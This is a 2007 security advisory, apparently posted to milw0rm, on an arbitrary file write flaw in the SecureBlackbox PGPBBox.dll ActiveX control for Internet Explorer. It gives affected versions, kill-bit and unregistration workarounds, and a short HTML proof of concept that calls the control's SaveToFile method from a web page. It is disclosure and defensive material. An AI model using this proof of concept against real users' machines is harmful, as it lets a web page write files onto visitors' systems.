:. GOODFELLAS Security Research TEAM .:
:. http://goodfellas.shellcode.com.ar .:
PGPBBox.dll 5.1.0.112 SecureBlackbox Arbitary Data Write Exploit.
================================================================
Test in patched XP SP2 IE 6.0/7.0 and Vista IE 7.0
==================================================
Internal ID: VULWAR200707121.
Introduction
------------
PGPBBox.dll is a library included in the SecureBlackbox
software package from the Eldos Company http://www.eldos.com/
Tested In
---------
- Windows XP SP2 english/french with IE 6.0 / 7.0.
- Windows vista Professional English/French SP1 with IE 7.0
Summary
-------
The SaveToFile method doesn't check if it's is being called from the application,
or malicious users. Remote Attacker could craft a html page and write arbitrary
data.
Impact
------
Any computer that uses this Sofware will be exposed to Data Write Arbitrary.
Workaround
----------
- Activate the Kill bit zero in clsid: C22BB435-9B7F-4B1F-ACBD-CD36D34D6DFF.
- Unregister PGPBBox.dll using regsvr32.
Timeline
--------
July 12, 2007 -- Bug discovery.
July 12, 2007 -- Bug published.
Credits
-------
* callAX <callax@shellcode.com.ar
* GoodFellas Security Research Team <goodfellas.shellcode.com.ar>
Technical Details
-----------------
SaveToFile method receives one argument filename in this format "c:\path\file".
Proof of Concept
----------------
<HTML>
<BODY>
<object id=ctrl classid="clsid:{C22BB435-9B7F-4B1F-ACBD-CD36D34D6DFF}"></object>
<SCRIPT>
function Poc()
{
arg2="c:\\arbitrary_file.txt"
ctrl.SaveToFile(arg2)
}
</SCRIPT>
<input language=JavaScript onclick=Poc() type=button value="Proof of Concept">
</BODY>
</HTML>
# milw0rm.com [2007-07-12]
